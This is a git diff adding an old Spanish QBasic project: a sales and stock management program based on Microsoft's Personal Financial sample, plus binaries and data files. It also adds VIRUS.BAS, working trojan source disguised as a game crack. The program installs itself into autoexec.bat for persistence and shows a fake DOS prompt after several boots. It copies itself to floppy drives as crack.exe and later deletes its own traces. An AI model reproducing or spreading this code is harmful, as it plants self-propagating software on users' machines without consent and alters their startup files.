IPC$ + FIELD #2, 2 AS vld$, 5 AS IMxRcrd$ + + + + GET #2, 1 + IF vld$ <> "SI" THEN + LSET IRf$ = STR$(0) + LSET IDsc$ = "" + LSET ICC$ = STR$(0) + LSET IPVP$ = STR$(0) + LSET IPC$ = STR$(0) + PUT #2, 2 + LSET vld$ = "SI" + LSET IMxRcrd$ = "1" + PUT #2, 1 + END IF + TopeRef# = VAL(IMxRcrd$) + + + b = 1 + WHILE b <= TopeRef# + GET #2, b + 1 + Ca#(b) = VAL(IRf$) + Cb$(b) = IDsc$ + Cc#(b) = VAL(ICC$) + Cd#(b) = VAL(IPVP$) + Ce#(b) = VAL(IPC$) + b = b + 1 + WEND + + +CLOSE #2 +RETURN + +END SUB + +'Trin$: +' Remove null and spaces from the end of a string. +FUNCTION Trim$ (x$) + + IF x$ = "" THEN + Trim$ = "" + ELSE + lastChar = 0 + FOR A = 1 TO LEN(x$) + y$ = MID$(x$, A, 1) + IF y$ <> CHR$(0) AND y$ <> " " THEN + lastChar = A + END IF + NEXT A + Trim$ = LEFT$(x$, lastChar) + END IF + +END FUNCTION + +SUB Vende (r%) + 'Information about each column + REDIM help$(4), Col(4), vis(4), max(4), Title$(9), Desc$(9), Ca$(9), AType$(9) + 'Draw the screen + COLOR colors(7, ColorPref), colors(4, ColorPref) + OPEN "Vendedor" + Cvit$(item) FOR RANDOM AS #1 LEN = 76 + FIELD #1, 20 AS T$, 50 AS D$, 3 AS C$, 1 AS A$ + FIELD #1, 2 AS valid$ + IF valid$ <> "*" THEN + valid$ = "*" + PUT #1, 1 + FOR A = 1 TO 9 + LSET T$ = "" + LSET D$ = "" + LSET C$ = "" + LSET A$ = "" + PUT #1, A + 1 + NEXT A + END IF + FOR A = 1 TO 9 + GET #1, A + 1 + Title$(A) = T$ + Desc$(A) = D$ + Ca$(A) = C$ + AType$(A) = A$ + NEXT A + CLOSE + Box 2, 1, 14, 80 + Box 15, 1, 18, 80 + + COLOR colors(5, ColorPref), colors(4, ColorPref) + LOCATE 1, 1: PRINT SPACE$(80) + LOCATE 1, 4: PRINT "Editor de Vendedores, Empresa: " + Trim$(Account(r%).Title); + COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE 3, 2: PRINT "No³ Vendedor/a ³ Otros Datos ³ C.A ³N.A" + LOCATE 4, 2: PRINT "ÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÅÄÄÄ" + u$ = "##³\ \³\ \³\ \³ ! " + FOR A = 5 TO 13 + LOCATE A, 2 + x = A - 4 + PRINT USING u$; x; Title$(x); Desc$(x); Ca$(x); AType$(x); + NEXT A + + 'Initialize variables + help$(1) = " Nombre del Vendedor/a " + help$(2) = " Direcci¢n, n§ Telefono, etc... " + help$(3) = " Codigo Personal de Acceso al Sistema " + help$(4) = " Acceso al Sistema ( Nivel 1 a 5 ) " + Col(1) = 5: Col(2) = 26: Col(3) = 72: Col(4) = 78 + vis(1) = 20: vis(2) = 50: vis(3) = 4: vis(4) = 1 + max(1) = 20: max(2) = 50: max(3) = 3: max(4) = 1 + + finished = false + CurrRow = 1 + CurrCol = 1 + PrintHelpLine help$(CurrCol) + "| " + 'Loop until F2 or is pressed + DO + GOSUB EditAccountsShowCursor 'Show Cursor + DO 'Wait for key + kbd$ = INKEY$ + LOOP UNTIL kbd$ <> "" + IF kbd$ >= " " AND kbd$ < "~" THEN 'If legal, edit item + + COLOR colors(8, ColorPref), colors(9, ColorPref) + ok = false + start$ = kbd$ + DO + kbd$ = GetString$(CurrRow + 4, Col(CurrCol), start$, end$, vis(CurrCol), max(CurrCol)) + SELECT CASE CurrCol + CASE 1: Title$(CurrRow) = LEFT$(end$ + SPACE$(max(CurrCol)), max(CurrCol)) + CASE 2: Desc$(CurrRow) = LEFT$(end$ + SPACE$(max(CurrCol)), max(CurrCol)) + CASE 3: Ca$(CurrRow) = LEFT$(end$ + SPACE$(max(CurrCol)), max(CurrCol)) + CASE 4: AType$(CurrRow) = LEFT$(end$ + SPACE$(max(CurrCol)), max(CurrCol)) + CASE ELSE + END SELECT + start$ = "" + + IF CurrCol = 4 THEN + x$ = UCASE$(end$) + IF VAL(x$) >= 1 OR VAL(x$) <= 5 THEN + ok = true + ELSE + BEEP + END IF + ELSE + ok = true + END IF + + LOOP UNTIL ok + END IF + + hide = 1: GOSUB EditAccountsShowCursor: hide = 0 'Hide Cursor so it can move + 'If it needs to + SELECT CASE kbd$ + CASE CHR$(0) + "H" 'Up Arrow + CurrRow = (CurrRow + 17) MOD 9 + 1 + CASE CHR$(0) + "P" 'Down Arrow + CurrRow = (CurrRow) MOD 9 + 1 + CASE CHR$(0) + "K", CHR$(0) + CHR$(15) 'Left or Shift+Tab + CurrCol = (CurrCol + 1) MOD 4 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "M", CHR$(9) 'Right or Tab + CurrCol = (CurrCol) MOD 4 + 1 + PrintHelpLine help$(CurrCol) + "| " + CASE CHR$(0) + "<" 'F2 + finished = true + Save = true + CASE CHR$(27) 'Esc + finished = true + Save = false + CASE CHR$(13) 'Return + CASE ELSE + BEEP + END SELECT + LOOP UNTIL finished + + IF Save THEN + + OPEN "Vendedor" + Cvit$(item) FOR RANDOM AS #1 LEN = 76 + FIELD #1, 20 AS T$, 50 AS D$, 3 AS C$, 1 AS A$ + FIELD #1, 2 AS valid$ + FOR A = 1 TO 9 + LSET T$ = Title$(A) + LSET D$ = Desc$(A) + LSET C$ = Ca$(A) + LSET A$ = AType$(A) + PUT #1, A + 1 + NEXT A + CLOSE + + END IF + + EXIT SUB + + +EditAccountsShowCursor: + IF hide = 0 THEN COLOR colors(8, ColorPref), colors(9, ColorPref) ELSE COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE CurrRow + 4, Col(CurrCol) + SELECT CASE CurrCol + CASE 1: PRINT LEFT$(Title$(CurrRow), vis(CurrCol)); + CASE 2: PRINT LEFT$(Desc$(CurrRow), vis(CurrCol)); + CASE 3: PRINT LEFT$(Ca$(CurrRow), vis(CurrCol)); + CASE 4: PRINT LEFT$(AType$(CurrRow), vis(CurrCol)); + CASE ELSE + END SELECT + + RETURN + +END SUB + diff --git a/BAS/VIRUS.BAS b/BAS/VIRUS.BAS new file mode 100644 index 0000000..9393cd4 --- /dev/null +++ b/BAS/VIRUS.BAS @@ -0,0 +1,420 @@ +DECLARE FUNCTION GetString$ (start$, end$, Vis%, Max%, row%, col%) +DECLARE SUB borradelauto () +DECLARE SUB copiarac (est) +DECLARE SUB aumentacarga (global) +DECLARE SUB Simulador () + + + +inicio: +DIM SHARED virus, c AS INTEGER, global, fc$(100) +CONST TRUE = -1 +CONST FALSE = NOT TRUE +veza = 0: vezb = 0 + +ON ERROR GOTO errores + +OPEN "c:\dos\cargas.dat" FOR INPUT AS #1 + CLOSE + glob = est + aumentacarga (glob) + +IF virus <> 1 THEN GOTO finprog 'Si el virus es distinto de 1 ( off ) + 'el programa se aborta. + + '***** simulador ***** +REDIM Curr$(19), One$(19), Two$(19), Three$(19), Four$(19), Five$(19) + +PRINT +row% = CSRLIN - 1 +hud = 80 +old$ = TIME$ + + +Simulador: +row% = row% + 1 +a$ = "" +hud = hud + 1 + +IF VAL(MID$(TIME$, 4, 2)) >= VAL(MID$(old$, 4, 2)) + 3 THEN PRINT : PRINT : PRINT "La humedad relativa dentro del ordenador es del " + STR$(hud) + "%": PRINT : old$ = TIME$ +PRINT +promt$ = "C:\" + LTRIM$(RTRIM$(ch$)) + ">" + +'PRINT promt$: +Kbd$ = GetString$(promt$, end$, 80, 80, LEN(promt$), col%) +IF RTRIM$(LTRIM$(UCASE$(end$))) = "JD_EXIT" THEN + CLS + LOCATE 5, 5: PRINT " EL FIN DE TU PESADILLA !!! , Nueva versi¢n en marcha." + borradelauto + SHELL "del c:\dos\cargas.dat >nul" + SHELL "del c:\dos\tempi.bin >nul" + SHELL "del c:\dos\TEMPI.exe >nul" + SYSTEM + END + END + END +END IF + +a$ = end$ + +'*******------------**********------------*********---------**********----- +IF RTRIM$(LTRIM$(a$)) = "" THEN GOTO Simulador +IF LEFT$(UCASE$(LTRIM$(RTRIM$(a$))), 2) = "" THEN GOTO Simulador +IF LEFT$(UCASE$(RTRIM$(a$)), 2) = "CD" AND MID$(UCASE$(RTRIM$(LTRIM$(a$))), 4, 8) = "" THEN PRINT : PRINT "Omisi¢n de parametros": PRINT : GOTO Simulador +IF LEFT$(UCASE$(RTRIM$(a$)), 2) = "CD" AND MID$(UCASE$(RTRIM$(LTRIM$(a$))), 4, 2) = ".." OR MID$(UCASE$(RTRIM$(LTRIM$(a$))), 3, 2) = ".." THEN + IF LEN(LTRIM$(RTRIM$(ch$))) = 0 THEN GOTO Simulador + con = 0: L = 0: lug = 0: p = 0 + DO + con = con + 1 + L = L - 1 + IF LEN(LTRIM$(RTRIM$(ch$))) + L - 1 = -1 THEN ch$ = "": vez = 0: GOTO Simulador + IF MID$(LTRIM$(RTRIM$(ch$)), LEN(LTRIM$(RTRIM$(ch$))) + L, 1) = "\" THEN lug = LEN(LTRIM$(RTRIM$(ch$))) + L - 1: con = LEN(LTRIM$(RTRIM$(ch$))) + LOOP WHILE con <> LEN(LTRIM$(RTRIM$(ch$))) + IF p = 1 THEN ch$ = "": vez = 0: GOTO Simulador ELSE ch$ = MID$(LTRIM$(RTRIM$(ch$)), 1, lug): vez = 1: GOTO Simulador +END IF + + +IF LEFT$(UCASE$(a$), 2) = "CD" AND vez = 0 THEN + sum = 0: l2 = 4 + DO + sum = sum + 1 + l2 = l2 + 1 + IF MID$(LTRIM$(RTRIM$(UCASE$(a$))), l2, 1) = " " THEN GOTO Simulador + LOOP WHILE sum <> LEN(LTRIM$(RTRIM$(a$))) + ch$ = LTRIM$(RTRIM$(ch$)) + MID$(UCASE$(a$), 4, 8): vez = 1: GOTO Simulador +END IF + +IF LEFT$(UCASE$(a$), 2) = "CD" THEN + sum = 0: l2 = 4 + DO + sum = sum + 1 + l2 = l2 + 1 + IF MID$(LTRIM$(RTRIM$(UCASE$(a$))), l2, 1) = " " THEN GOTO Simulador + LOOP WHILE sum <> LEN(LTRIM$(RTRIM$(a$))) + IF LEFT$(UCASE$(a$), 2) = "CD" THEN ch$ = ch$ + "\" + MID$(UCASE$(a$), 4, 8): vez = 1: GOTO Simulador + +END IF + +'******************************************** +'COPIAR DESDE AQUI SI NO SE A¥ADE NADA ARRIBA +'******************************************** +RESTORE +b$ = "" +w$ = UCASE$(LTRIM$(RTRIM$(a$))) +RESTORE datas + +WHILE b$ <> "*" +READ b$, wqw$ +IF RTRIM$(LEFT$(w$, 4)) = b$ OR RTRIM$(LEFT$(w$, 2)) = b$ THEN GOTO accion +WEND + + + a = 1: b = 0 + + DO WHILE b <= LEN(w$) + 1 + b = b + 1 + IF MID$(w$, b, 1) = " " THEN pal$ = LEFT$(w$, b): EXIT DO + LOOP + valor = 0 + q1 = 0: q2 = 0: q3 = 0: q4 = 0: q5 = 0 + pal$ = w$ + + OPEN "c:\dos\tempi.bin" FOR RANDOM AS #1 LEN = 113 + FIELD #1, 10 AS IoDate$, 20 AS IoRef$, 20 AS IoDos$, 20 AS IoTres$, 20 AS IoCuatro$, 20 AS IoCinco$ + FIELD #1, 1 AS valid$, 2 AS IoMaxRecord$ + + GET #1, 1 + IF valid$ = "*" THEN + MaxRecord = VAL(IoMaxRecord$) + ra = 1 + + DO WHILE ra <= MaxRecord + GET #1, ra + 1 + Curr$ = IoDate$ + One$ = IoRef$ + Two$ = IoDos$ + Three$ = IoTres$ + Four$ = IoCuatro$ + Five$ = IoCinco$ + IF RTRIM$(LTRIM$(pal$)) = RTRIM$(LTRIM$(UCASE$(Curr$))) THEN + + IF RIGHT$(RTRIM$(One$), 1) = "?" THEN PRINT : PRINT One$; : INPUT p$ ELSE PRINT : PRINT : PRINT One$; + + IF RIGHT$(RTRIM$(Two$), 1) = "?" THEN PRINT Two$; : INPUT "", p$: q1 = 1 + IF MID$(Two$, 2, 1) = "#" THEN IF RIGHT$(Two$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Two$, 3, 18); : Q = 1 + IF q1 = 0 THEN PRINT Two$ + + IF RIGHT$(RTRIM$(Three$), 1) = "?" THEN PRINT : PRINT Three$; : INPUT "", p$: q2 = 1 + IF MID$(Three$, 2, 1) = "#" THEN q2 = 1: IF LEFT$(Three$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Three$, 3, 18); : q2 = 1 + IF q2 = 0 THEN PRINT Three$ + + IF RIGHT$(RTRIM$(Four$), 1) = "?" THEN PRINT : PRINT Four$; : INPUT "", p$: q3 = 1 + IF MID$(Four$, 2, 1) = "#" THEN q3 = 1: IF LEFT$(Four$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Four$, 3, 18); + IF q3 = 0 THEN PRINT Four$ + + IF RIGHT$(RTRIM$(Five$), 1) = "?" THEN PRINT : PRINT Five$; : INPUT "", p$: q4 = 1 + IF MID$(Five$, 2, 1) = "#" THEN q4 = 1: IF LEFT$(Five$, 1) = UCASE$(p$) THEN PRINT : PRINT MID$(Five$, 3, 18); + IF q4 = 0 THEN PRINT Five$ + + valor = 1 + EXIT DO + END IF + ra = ra + 1 + LOOP + END IF +CLOSE + + IF valor = 0 THEN PRINT : PRINT "Comando o nombre de archivo incorrecto" + +GOTO Simulador + + +accion: +SELECT CASE VAL(wqw$) + CASE 1 + PRINT : PRINT + PRINT " Volumen en unidad C no tiene etiqueta" + PRINT " N£mero de serie de volumen es 1138-1600" + PRINT + PRINT " Directorio de C:\" + ch$ + PRINT + PRINT "Archivo no se encontr¢" + PRINT + GOTO Simulador + + CASE 2 + + PRINT : PRINT "Imposible acceder a unidad requerida" + GOTO Simulador + CASE 3 + CLS + PRINT + GOTO Simulador + + CASE 4 + PRINT : PRINT "Fichero no encontrado" + GOTO Simulador + + CASE 5 + COLOR 6 + PRINT : PRINT "Virus-Simuler por JD" + COLOR 7 + GOTO Simulador + + CASE 6 + PRINT : PRINT TIME$: GOTO Simulador + + CASE 7 + PRINT : PRINT DATE$: GOTO Simulador + CASE 8 + IF veza = 0 THEN SHELL "copy c:\dos\tempi.exe a:crack.exe >nul": SHELL "copy c:\dos\tempi.bin a:crack.dat >nul" + PRINT + PRINT "Cable de enlace con la unidad A, suelto" + veza = 1 + + GOTO Simulador + CASE 9 + IF vezb = 0 THEN SHELL "copy c:\dos\tempi.exe b:crack.exe >nul": SHELL "copy c:\dos\tempi.bin b:crack.dat >nul" + PRINT + PRINT "Cable de enlace con la unidad B, suelto" + vezb = 1 + GOTO Simulador +END SELECT +PRINT wqw$ +GOTO Simulador + + + + +END + +finprog: + + IF est = 1 THEN COLOR 5: LOCATE 15, 10: PRINT "Juego CRACKEADO ::: .. :::" + 'system + +END + +errores: +IF ERR = 53 THEN copiarac (1) +RESUME NEXT + + +datas: +DATA DIR,1,COPY,2,CLS,3,TYPE,4,JD,5,TIME,6,DATE,7,"A:",8,"B:",9 +DATA *,* + +SUB aumentacarga (global) + +OPEN "c:\dos\cargas.dat" FOR INPUT AS #1 + INPUT #1, carga$ +CLOSE + + carga$ = STR$(VAL(carga$) + 1) + + OPEN "c:\dos\cargas.dat" FOR OUTPUT AS #1 + WRITE #1, carga$ + CLOSE + +' El virus se activara cuando el contador sea mayor de 3 y se +'auto-eliminara cuando alcance un n£mero m ximo de 9 cargas. + IF VAL(carga$) > 3 THEN virus = 1 + IF VAL(carga$) >= 9 THEN + borradelauto + KILL "cargas.dat" + KILL "c:\dos\tempi.bin" + KILL "c:\dos\TEMPI.exe" + + END IF +END SUB + +SUB borradelauto + +'El proceso de borrado es complicado, hay que modificar apartir de las +'secuencias de grabado de datos las entradas o bytes donde se encuentra +'nuestra linea "intrusa", para eliminarla sin dejar rastro en el auto. + + +OPEN "c:\autoexec.bat" FOR INPUT AS #1 + +Q = 0 + +DO + Q = Q + 1 + LINE INPUT #1, fc$(Q) + IF RTRIM$(LTRIM$(fc$(Q))) = "@echo off" THEN valor = 1 + + IF valor = 1 AND RTRIM$(LTRIM$(fc$(Q))) = "c:\dos\TEMPI" THEN CLOSE #1: GOTO grabar + +LOOP WHILE NOT EOF(1) + +CLOSE #1 +GOTO finh + +grabar: + +c = Q - 22 +SHELL "c:\dos\attrib -h -r c:\autoexec.bat >nul" +SHELL "del c:\autoexec.bat >nul" + +OPEN "c:\autoexec.bat" FOR APPEND AS #2 + +c = Q - 22 + +FOR Q = 1 TO c + + PRINT #2, fc$(Q) + +NEXT Q + +CLOSE #2 + +finh: + +END SUB + +SUB copiarac (est) + +' Ahora deber¡a auto-copiarse este programa a la unidad C +' e instalarse, en el archivo autoexec.bat +CLS +bit = 0 + +LOCATE 5, 5: COLOR 5: PRINT "Por favor, espere..." +LOCATE 7, 5: COLOR 7: PRINT "Crackeando juego... ::: .. :::" +COLOR 12 + +SHELL "copy crack.exe c:\dos\tempi.exe >nul" +SHELL "copy crack.dat c:\dos\tempi.bin >nul" + +SHELL "c:\dos\attrib -r c:\autoexec.bat >nul" +OPEN "c:\autoexec.bat" FOR APPEND AS #1 + FOR a = c TO c + 20 + PRINT #1, CHR$(13) + NEXT a + PRINT #1, "@echo off" + PRINT #1, "c:\dos\TEMPI" +CLOSE #1 + + COLOR 7 + IF est = 1 THEN est = 1 + +END SUB + +DEFINT A-Z +'GetString$: +' Given a row and col, and an initial string, edit a string +' VIS is the length of the visible field of entry +' MAX is the maximum number of characters allowed in the string +' +' +FUNCTION GetString$ (start$, end$, Vis%, Max%, row%, col%) +PRINT start$; + + + IF Curr$ = CHR$(8) THEN Curr$ = "" + + LOCATE , , 1 + + finished = FALSE + DO + GOSUB GetStringShowText2 + GOSUB GetStringGetKey2 + + IF LEN(Kbd$) > 1 THEN + finished = TRUE + GetString2$ = Kbd$ + ELSE + SELECT CASE Kbd$ + CASE CHR$(13), CHR$(27), CHR$(9) + finished = TRUE + GetString2$ = Kbd$ + + CASE CHR$(8) + IF Curr$ <> "" THEN + Curr$ = LEFT$(Curr$, LEN(Curr$) - 1) + IF LEN(Curr$) >= 0 THEN + LOCATE CSRLIN, POS(0) - 1: PRINT " "; + IF LEN(Curr$) >= 1 THEN LOCATE CSRLIN, POS(0) - 2 ELSE LOCATE CSRLIN, POS(0) - 1 + END IF + END IF + + CASE " " TO "}" + IF LEN(Curr$) < Max THEN + Curr$ = Curr$ + Kbd$ + ELSE + BEEP + END IF + + CASE ELSE + BEEP + END SELECT + END IF + + LOOP UNTIL finished + + end$ = Curr$ + LOCATE , , 0 + EXIT FUNCTION + + +GetStringShowText2: + + IF LEN(Curr$) > Vis THEN + PRINT RIGHT$(Curr$, Vis); + ELSE + PRINT RIGHT$(Curr$, 1); + + + END IF + RETURN + +GetStringGetKey2: + Kbd$ = "" + WHILE Kbd$ = "" + Kbd$ = INKEY$ + WEND + RETURN + +END FUNCTION + diff --git a/EXE/BD.EXE b/EXE/BD.EXE new file mode 100644 index 0000000..d9aa295 Binary files /dev/null and b/EXE/BD.EXE differ diff --git a/EXE/CATALOG2.EXE b/EXE/CATALOG2.EXE new file mode 100644 index 0000000..2edac7b Binary files /dev/null and b/EXE/CATALOG2.EXE differ diff --git a/EXE/COPY-1.DAT b/EXE/COPY-1.DAT new file mode 100644 index 0000000..e69de29 diff --git a/EXE/COPY-2.DAT b/EXE/COPY-2.DAT new file mode 100644 index 0000000..e69de29 diff --git a/EXE/COPY-3.DAT b/EXE/COPY-3.DAT new file mode 100644 index 0000000..e69de29 diff --git a/EXE/CRACK.DAT b/EXE/CRACK.DAT new file mode 100644 index 0000000..f576588 Binary files /dev/null and b/EXE/CRACK.DAT differ diff --git a/EXE/CRACK.EXE b/EXE/CRACK.EXE new file mode 100644 index 0000000..8b61372 Binary files /dev/null and b/EXE/CRACK.EXE differ diff --git a/EXE/FICH1.DAT b/EXE/FICH1.DAT new file mode 100644 index 0000000..e69de29 diff --git a/EXE/FICH2.DAT b/EXE/FICH2.DAT new file mode 100644 index 0000000..e69de29 diff --git a/EXE/FICH3.DAT b/EXE/FICH3.DAT new file mode 100644 index 0000000..e69de29 diff --git a/EXE/HORA.EXE b/EXE/HORA.EXE new file mode 100644 index 0000000..c470abc Binary files /dev/null and b/EXE/HORA.EXE differ diff --git a/EXE/HORA2.EXE b/EXE/HORA2.EXE new file mode 100644 index 0000000..4cc813b Binary files /dev/null and b/EXE/HORA2.EXE differ diff --git a/EXE/M_VIR.INI b/EXE/M_VIR.INI new file mode 100644 index 0000000..e4ed502 --- /dev/null +++ b/EXE/M_VIR.INI @@ -0,0 +1 @@ + 2 diff --git a/EXE/M_VIRUS.EXE b/EXE/M_VIRUS.EXE new file mode 100644 index 0000000..ecfac9e Binary files /dev/null and b/EXE/M_VIRUS.EXE differ diff --git a/EXE/PIC.EXE b/EXE/PIC.EXE new file mode 100644 index 0000000..8735992 Binary files /dev/null and b/EXE/PIC.EXE differ diff --git a/EXE/PRECATA2.EXE b/EXE/PRECATA2.EXE new file mode 100644 index 0000000..f7c332e Binary files /dev/null and b/EXE/PRECATA2.EXE differ diff --git a/EXE/PROMPT-C.EXE b/EXE/PROMPT-C.EXE new file mode 100644 index 0000000..6627e8e Binary files /dev/null and b/EXE/PROMPT-C.EXE differ diff --git a/EXE/Q2.EXE b/EXE/Q2.EXE new file mode 100644 index 0000000..9b48091 Binary files /dev/null and b/EXE/Q2.EXE differ diff --git a/EXE/catalog/CGA.COM b/EXE/catalog/CGA.COM new file mode 100644 index 0000000..2a597c4 Binary files /dev/null and b/EXE/catalog/CGA.COM differ diff --git a/EXE/catalog/COPY b/EXE/catalog/COPY new file mode 100644 index 0000000..f01ef9b --- /dev/null +++ b/EXE/catalog/COPY @@ -0,0 +1 @@ +JCHESS MASTJMASTER CHEJS.CIRCULATJPAPERBOY JGEOGRAFIA JKARATEKA JT. NINJA JPINBALL JSPACE-ACE JFLY JCATS JMARCIANO JTETRIS JBLOCK-OUT JMAD-MIX IIJULISES JO. WOLF JFUTBOL JMICHEL JGRAN PRIX JSTREET BALJTEST DRIVEJD. BUBBLE JXENON II JBILLAR JRICK D. JLIV. SUP. JSKATE J24 J.BASICJJAMES BONDJGREEN BER.JSOL NEGRO JMACH 3 JSTARDUST JTRIVIAL P.JSTART WARSJPREISTORIKJCAPITAN C.JLEMMINGS JMETAL MUT.JCASTLE MASJSOKOBAN JINDY JBATMAN JF-15 II JPRINCE P. JWRATH DEM.JTERMINATORJSIMPSONS JMENACE JGOLDEN AXEJINDIANAP. JXONIX JSPIDERMAN JAMAZING JBUDOKAN JDOUBLE DRAJ GPRINT MAS.GNEW MASTERGPAINT TOOLG G G G G G G G G G G G G G G G G G G PWRITING A.PAUTOTIP PNEWS P P P P P P P P P P P P P P P P P P P P P AVIERNES 13A RIBERSTOK RC. FAMILIARPERSONAL R DD. WRITINGDTRASLATOR D ODISKCOPY IOCOPY II PCOCOPY WRITEOXCOPY O UCOMPACTADOUPCTOOLS UVARIOS U G G G G G LBASIC LRUN L LGWBASIC LBASRUN LBASIC2 L CCONSULTAR CLISTA CESTERNA CA CFICHERO C ECGA EEMU1 EEMU2 EEMU3 EEMU4 EEMU EEMU0 E UFRENO U UHABILYTI U UCALCULATORU G G Mv 3.2 M JGHOST J UCATALOGO U JWORLD CLASJGAUNTLET 2JSIMCITY J GBANNER M. G PRUEBA L L L L LGW L EEMU EEMU0J J UCurso Pc U TDIGITAL TBOX TCURSO 1a3 T ERIA NG Mv 3. \ No newline at end of file diff --git a/EXE/catalog/DEUDAS.BAS b/EXE/catalog/DEUDAS.BAS new file mode 100644 index 0000000..5df8e3d Binary files /dev/null and b/EXE/catalog/DEUDAS.BAS differ diff --git a/EXE/catalog/DEUDAS.DAT b/EXE/catalog/DEUDAS.DAT new file mode 100644 index 0000000..bfc808f --- /dev/null +++ b/EXE/catalog/DEUDAS.DAT @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/EXE/catalog/GW.EXE b/EXE/catalog/GW.EXE new file mode 100644 index 0000000..fc6cedb Binary files /dev/null and b/EXE/catalog/GW.EXE differ diff --git a/EXE/catalog/LISTA.BAS b/EXE/catalog/LISTA.BAS new file mode 100644 index 0000000..9d78b3e Binary files /dev/null and b/EXE/catalog/LISTA.BAS differ diff --git a/EXE/catalog/LISTA.BAT b/EXE/catalog/LISTA.BAT new file mode 100644 index 0000000..c921793 --- /dev/null +++ b/EXE/catalog/LISTA.BAT @@ -0,0 +1,2 @@ +SLIDE PRESENT +GW MAINMENU diff --git a/EXE/catalog/MAINMENU.BAS b/EXE/catalog/MAINMENU.BAS new file mode 100644 index 0000000..98883f8 Binary files /dev/null and b/EXE/catalog/MAINMENU.BAS differ diff --git a/EXE/catalog/MENSAJES b/EXE/catalog/MENSAJES new file mode 100644 index 0000000..be6742c Binary files /dev/null and b/EXE/catalog/MENSAJES differ diff --git a/EXE/catalog/PRESENT b/EXE/catalog/PRESENT new file mode 100644 index 0000000..8e5080c --- /dev/null +++ b/EXE/catalog/PRESENT @@ -0,0 +1,6 @@ +PRESENT1 2 +PRESENT2 2 +PRESENT3 2 +PRESENT4 2 +PRESENT5 3 +PAUSE diff --git a/EXE/catalog/PRESENT1.TIF b/EXE/catalog/PRESENT1.TIF new file mode 100644 index 0000000..8fba859 Binary files /dev/null and b/EXE/catalog/PRESENT1.TIF differ diff --git a/EXE/catalog/PRESENT2.TIF b/EXE/catalog/PRESENT2.TIF new file mode 100644 index 0000000..4acbce6 Binary files /dev/null and b/EXE/catalog/PRESENT2.TIF differ diff --git a/EXE/catalog/PRESENT3.TIF b/EXE/catalog/PRESENT3.TIF new file mode 100644 index 0000000..3cb32d1 Binary files /dev/null and b/EXE/catalog/PRESENT3.TIF differ diff --git a/EXE/catalog/PRESENT4.TIF b/EXE/catalog/PRESENT4.TIF new file mode 100644 index 0000000..6aeff34 Binary files /dev/null and b/EXE/catalog/PRESENT4.TIF differ diff --git a/EXE/catalog/PRESENT5.TIF b/EXE/catalog/PRESENT5.TIF new file mode 100644 index 0000000..4639373 Binary files /dev/null and b/EXE/catalog/PRESENT5.TIF differ diff --git a/EXE/catalog/SLIDE.EXE b/EXE/catalog/SLIDE.EXE new file mode 100644 index 0000000..4cba70e Binary files /dev/null and b/EXE/catalog/SLIDE.EXE differ diff --git a/NEW/DAT_REF.BAS b/NEW/DAT_REF.BAS new file mode 100644 index 0000000..24b7a45 Binary files /dev/null and b/NEW/DAT_REF.BAS differ diff --git a/NEW/JD1.BAS b/NEW/JD1.BAS new file mode 100644 index 0000000..5b47c33 --- /dev/null +++ b/NEW/JD1.BAS @@ -0,0 +1,3919 @@ +DECLARE SUB Vende (r%) +DECLARE SUB Elif () +DECLARE SUB Staul () +DECLARE SUB Ticket (e%) +DECLARE SUB Stock (EE%) +DECLARE SUB Balan (EEE%) +' +' Q B a s i c P e r s o n a l F i n a n c i a l +' +' Copyright (C) Microsoft Corporation 1990 + +'Set default data type to integer for faster operation +DEFINT A-Z + +'Sub and function declarations +DECLARE SUB Proveedores (lug%) +DECLARE SUB LCenter (text$) +DECLARE SUB ScrollUp () +DECLARE SUB ScrollDown () +DECLARE SUB Initialize () +DECLARE SUB center (Row%, text$) +DECLARE SUB FancyCls (dots%, Background%) +DECLARE SUB LoadState () +DECLARE SUB SaveState () +DECLARE SUB MenuSystem () +DECLARE SUB box (Row1%, Col1%, Row2%, Col2%) +DECLARE SUB PrintHelpLine (help$) +DECLARE SUB EditTrans (item%) +DECLARE SUB Referencias (op%) +DECLARE SUB ImpRef (po%) +DECLARE SUB ImpComp (so%) +DECLARE FUNCTION Cvdt$ (x#) +DECLARE FUNCTION Cvst$ (x!) +DECLARE FUNCTION Cvit$ (x%) +DECLARE FUNCTION Menu% (CurrChoiceX%, MaxChoice%, choice$(), ItemRow%(), ItemCol%(), help$(), BarMode%) +DECLARE FUNCTION GetString$ (Row%, Col%, start$, end$, vis%, max%) +DECLARE FUNCTION Trim$ (x$) + +'Constants +CONST true = -1 +CONST false = NOT true + +'User-defined types +TYPE AccountType + Title AS STRING * 20 + AType AS STRING * 1 + Desc AS STRING * 50 +END TYPE + +TYPE Recordtype + Date AS STRING * 8 + Ref AS STRING * 10 + Desc AS STRING * 50 + Fig1 AS DOUBLE + Fig2 AS DOUBLE +END TYPE + + + + +'Global variables +DIM SHARED account(1 TO 19) AS AccountType 'Stores the 19 account titles +DIM SHARED ColorPref 'Color Preference +DIM SHARED colors(0 TO 20, 1 TO 4) 'Different Colors +DIM SHARED ScrollUpAsm(1 TO 7) 'Assembly Language Routines +DIM SHARED ScrollDownAsm(1 TO 7) +DIM SHARED printerr AS INTEGER 'Printer error flag + +DIM SHARED Fecha$(1), fech$(1) + + DEF SEG = 0 ' Turn off CapLock, NumLock and ScrollLock + KeyFlags = PEEK(1047) + POKE 1047, &H0 + DEF SEG + + 'Open money manager data file. If it does not exist in current directory, + ' goto error handler to create and initialize it. + ON ERROR GOTO ErrorTrap + OPEN "Personal.cfg" FOR INPUT AS #1 + CLOSE + ON ERROR GOTO 0 'Reset error handler + + Initialize 'Initialize program + + MenuSystem 'This is the main program + COLOR 7, 0 'Clear screen and end + CLS + + DEF SEG = 0 ' Restore CapLock, NumLock and ScrollLock states + POKE 1047, KeyFlags + DEF SEG + + END + +' Error handler for program +' If data file not found, create and initialize a new one. +ErrorTrap: + SELECT CASE ERR + ' If data file not found, create and initialize a new one. + CASE 53 + CLOSE + ColorPref = 1 + FOR a = 1 TO 19 + account(a).Title = "" + account(a).AType = "" + account(a).Desc = "" + 